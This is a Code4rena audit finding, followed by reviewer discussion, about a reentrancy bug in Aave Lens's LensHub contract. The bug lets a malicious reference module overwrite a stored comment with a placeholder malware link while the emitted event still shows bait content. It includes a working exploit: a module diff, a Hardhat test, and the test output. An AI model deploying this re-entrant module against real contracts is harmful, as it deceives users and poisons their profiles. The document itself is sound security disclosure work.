Reentrancy allows commenter to overwrite own comments

[code423n4]

Lines of code

https://github.com/code-423n4/2022-02-aave-lens/blob/c1d2de2b0609b7d2734ada2ce45c91a73cc54dd9/contracts/core/LensHub.sol#L878-L888

Vulnerability details

Since the Lens platform is a blockchain-based social media platform, it's important that information relevant to users be emitted so that light clients need not continually refer to the blockchain, which can be expensive. From the docs:

Events are emitted at every state-changing function call, in addition to standard ERC721 events. Events often include the timestamp as a specific parameter, which allows for direct consumption using a bloom filter without needing to fetch block context on every event.

As such, it is important that the content of emitted events matches what direct lookups of publication data shows.

Impact

Due to the reentrancy bug outlined below, an attacker is able to emit a comment containing some information that does not match the actual information of a post, allowing him/her to trick light clients into responding to a post that they otherwise would have avoided. The attacker can use this to propagate scams, serve malware, or otherwise poison other user's profiles with unwanted content. Because there is no way to disable publications after the fact, these commenters' profiles now link to this bad content forever.

Proof of Concept

According to the developers in the contest discord, the intention is for the whitelisting of modules to eventually be disabled altogether, or moved to be controlled by a DAO. The main purpose of the whitelist is to make sure that the modules written and used by everyone are built and scoped appropriately, not to limit calls to outside contracts (i.e. the module does what it does in the most efficient manner, using the method requiring the fewest outside contract calls). As such it's reasonable to assume that at some point in the future, an attacker will be able to find or write a ReferenceModule that enables him/her to trigger a function in a contract he/she owns (e.g. transfer an NFT, triggering an ERC721 pre-transfer approval check callback). Below is a version of this where, for simplicity's sake, the malicious code is directly in the module rather than being called by a callback somehow.

diff --git a/MockReferenceModule.sol.original b/MockReferenceModule.sol
index 2552faf..0fe464b 100644
--- a/MockReferenceModule.sol.original
+++ b/MockReferenceModule.sol
@@ -3,23 +3,46 @@
 pragma solidity 0.8.10;
 
 import {IReferenceModule} from '../interfaces/IReferenceModule.sol';
-
+import {ILensHub} from '../interfaces/ILensHub.sol';
+import {DataTypes} from '../libraries/DataTypes.sol';
 contract MockReferenceModule is IReferenceModule {
     function initializeReferenceModule(
         uint256 profileId,
         uint256 pubId,
         bytes calldata data
-    ) external pure override returns (bytes memory) {
+    ) external override returns (bytes memory) {
         uint256 number = abi.decode(data, (uint256));
         require(number == 1, 'MockReferenceModule: invalid');
+        l = msg.sender;
         return new bytes(0);
     }
 
+    address l;
+    bool a;
     function processComment(
         uint256 profileId,
         uint256 profileIdPointed,
         uint256 pubIdPointed
-    ) external override {}
+    ) external override {
+        if (a) return;
+        a = true;
+        bytes memory garbage;
+        string memory handle = "attack.eth";
+        uint256 pid = ILensHub(l).getProfileIdByHandle(handle);
+        ILensHub(l).comment(
+            DataTypes.CommentData(
+                profileId,
+                // make their comment and thus their profile link
+                // to our malicious payload
+                "https://yourCommentIsNowOnALinkToMalware.com/forever",
+                profileIdPointed,
+                pubIdPointed,
+                ILensHub(l).getCollectModule(profileIdPointed, pubIdPointed),
+                garbage,
+                address(0x0),
+                garbage
+        ));
+    }
 
     function processMirror(
         uint256 profileId,

As for triggering the actual attack, the attacker first acquires a profile with a lot of followers either by organically growing a following, stealing a profile's NFT, or buying access to one. Next, the attacker publishes interesting content with the malicious ReferenceModule, and finally, the attacker publishes an extremely engaging/viral comment to that publication, which will cause lots of other people to respond to it. The comment will emit an event that contains the original comment information, but the module will be able to overwrite the actual published comment on the blockchain with the attacker's alternate content due to a reentrancy bug where the pubCount can be overwritten:

    function _createComment(DataTypes.CommentData memory vars) internal {
        PublishingLogic.createComment(
            vars,
            _profileById[vars.profileId].pubCount + 1,
            _profileById,
            _pubByIdByProfile,
            _collectModuleWhitelisted,
            _referenceModuleWhitelisted
        );
        _profileById[vars.profileId].pubCount++;
    }

https://github.com/code-423n4/2022-02-aave-lens/blob/c1d2de2b0609b7d2734ada2ce45c91a73cc54dd9/contracts/core/LensHub.sol#L878-L888

The following test uses this altered module and shows that the attacker can emit a different comment than is actually stored by/used for subsequent comments:

diff --git a/publishing-comments.spec.ts.original b/publishing-comments.spec.ts
index 471ba68..32dfb3a 100644
--- a/publishing-comments.spec.ts.original
+++ b/publishing-comments.spec.ts
@@ -3,6 +3,11 @@ import { expect } from 'chai';
 import { MAX_UINT256, ZERO_ADDRESS } from '../../helpers/constants';
 import { ERRORS } from '../../helpers/errors';
 import { cancelWithPermitForAll, getCommentWithSigParts } from '../../helpers/utils';
+import {
+  getTimestamp,
+  matchEvent,
+  waitForTx,
+} from '../../helpers/utils';
 import {
   abiCoder,
   emptyCollectModule,
@@ -59,7 +64,7 @@ makeSuiteCleanRoom('Publishing Comments', function () {
         })
       ).to.not.be.reverted;
     });
-
+/**
     context('Negatives', function () {
       it('UserTwo should fail to publish a comment to a profile owned by User', async function () {
         await expect(
@@ -151,8 +156,9 @@ makeSuiteCleanRoom('Publishing Comments', function () {
         ).to.be.revertedWith(ERRORS.PUBLICATION_DOES_NOT_EXIST);
       });
     });
-
+/**/
     context('Scenarios', function () {
+/**
       it('User should create a comment with empty collect module data, reference module, and reference module data, fetched comment data should be accurate', async function () {
         await expect(
           lensHub.comment({
@@ -175,8 +181,23 @@ makeSuiteCleanRoom('Publishing Comments', function () {
         expect(pub.collectNFT).to.eq(ZERO_ADDRESS);
         expect(pub.referenceModule).to.eq(ZERO_ADDRESS);
       });
-
+/**/
       it('User should create a post using the mock reference module as reference module, then comment on that post', async function () {
+
+        // user acquires account and sets up the attacking profile
+        await expect(
+          lensHub.createProfile({
+            to: mockReferenceModule.address,
+            handle: "attack.eth",
+            imageURI: MOCK_PROFILE_URI,
+            followModule: ZERO_ADDRESS,
+            followModuleData: [],
+            followNFTURI: MOCK_FOLLOW_NFT_URI,
+          })
+        ).to.not.be.reverted;
+        await lensHub.setDispatcher(FIRST_PROFILE_ID, mockReferenceModule.address);
+
+        // create a post
         const data = abiCoder.encode(['uint256'], ['1']);
         await expect(
           lensHub.post({
@@ -189,22 +210,43 @@ makeSuiteCleanRoom('Publishing Comments', function () {
           })
         ).to.not.be.reverted;
 
-        await expect(
+        // create extremely interesting bait comment
+        const BAIT_COMMENT = "https://somethingExtremelyInteresting.com/toGetEngagement";
+        let receipt = await waitForTx(
           lensHub.comment({
             profileId: FIRST_PROFILE_ID,
-            contentURI: MOCK_URI,
+            contentURI: BAIT_COMMENT,
             collectModule: emptyCollectModule.address,
             collectModuleData: [],
             profileIdPointed: FIRST_PROFILE_ID,
             pubIdPointed: 2,
             referenceModule: ZERO_ADDRESS,
             referenceModuleData: [],
-          })
-        ).to.not.be.reverted;
+          },{gasLimit:12450000})
+        );
+
+        // see the bait in the emitted event...
+        matchEvent(receipt, 'CommentCreated', [
+          FIRST_PROFILE_ID,
+          3, // pubId 3 for profile 1
+          BAIT_COMMENT, // <-- correct bait in the event
+          FIRST_PROFILE_ID,
+          2,
+          emptyCollectModule.address,
+          [],
+          ZERO_ADDRESS,
+          [],
+          await getTimestamp(),
+        ]);
+
+        // ...but malware when read, commented, or referenced
+        let pub = await lensHub.getPub(FIRST_PROFILE_ID, 3);
+        await expect(pub.contentURI)
+          .to.equal(BAIT_COMMENT);
       });
     });
   });
-
+/**
   context('Meta-tx', function () {
     beforeEach(async function () {
       await expect(
@@ -567,5 +609,5 @@ makeSuiteCleanRoom('Publishing Comments', function () {
         expect(pub.referenceModule).to.eq(ZERO_ADDRESS);
       });
     });
-  });
+  });/**/
 });

After applying the above changes, running npm test test/hub/interactions/publishing-comments.spec.ts yields:

  Publishing Comments
    Generic
      Scenarios
        1) User should create a post using the mock reference module as reference module, then comment on that post


  0 passing (19s)
  1 failing

  1) Publishing Comments
       Generic
         Scenarios
           User should create a post using the mock reference module as reference module, then comment on that post:

      AssertionError: expected 'https://yourCommentIsNowOnALinkToMalware.com/forever' to equal 'https://somethingExtremelyInteresting.com/toGetEngagement'
      + expected - actual

      -https://yourCommentIsNowOnALinkToMalware.com/forever
      +https://somethingExtremelyInteresting.com/toGetEngagement
      
      at Context.<anonymous> (test/hub/interactions/publishing-comments.spec.ts:245:15)
      at processTicksAndRejections (internal/process/task_queues.js:97:5)
      at runNextTicks (internal/process/task_queues.js:66:3)
      at listOnTimeout (internal/timers.js:523:9)
      at processTimers (internal/timers.js:497:7)

Anyone that has commented on the engaging comment now has unwittingly commented on a malicious URI, potentially encouraging others to visit the URI.

Tools Used

Code inspection
Hardhat

Recommended Mitigation Steps

Store the new pubCount in a variable before the comment is created and use it during the creation rather than choosing it afterwards.

[Zer0dot]

This is valid and interesting! Especially because it can be attributed to incompetence instead of maliciousness on behalf of governance whitelisting a faulty module (which can also lead to loss of funds, etc). However, this does emit multiple events with the same publication ID, and thus I believe UIs can filter it, if ever it becomes an issue.

On that front, the mitigation introduces another issue in that incrementing the pubId before creating the comment allows a comment to comment on itself. Paging @miguelmtzinf, wdyt?

[Zer0dot]

Also paging @donosonaumczuk

[Zer0dot]

We acknowledge this and will not be acting on it. I think it's fair to say that if such a vulnerability is found, the double event emission can be a red flag, and governance can act promptly to unwhitelist the specific module. Note that there's already nothing stopping malware or illegal content links from appearing on UIs, who already need to do filtering. Still, this is valid!

[0xleastwood]

Upon first glance, this seems to be valid. An attacker could emit multiple events for a given comment, tricking light clients into responding to a potentially malicious post. However, it requires that reference modules are no longer whitelisted, allowing anyone to register a dodgy module or the governance accidentally registers a faulty module. I think for these reasons, I am more inclined to mark this as medium as it requires certain assumptions. While I understand C4 typically judges high severity issues as resulting in a loss of funds, Aave Lens is unique in that funds aren't paramount to how the protocol is intended to be used. I am open to further discussion if you disagree with me in any way @Zer0dot ?

[Zer0dot]

I wouldn't put it beyond the realm of possibility to see governance accidentally whitelist a module where this is possible. I do agree it's valid, medium sounds fine to me.

[0xleastwood]

Sweet, I'll downgrade this to medium considering we are both in agreement.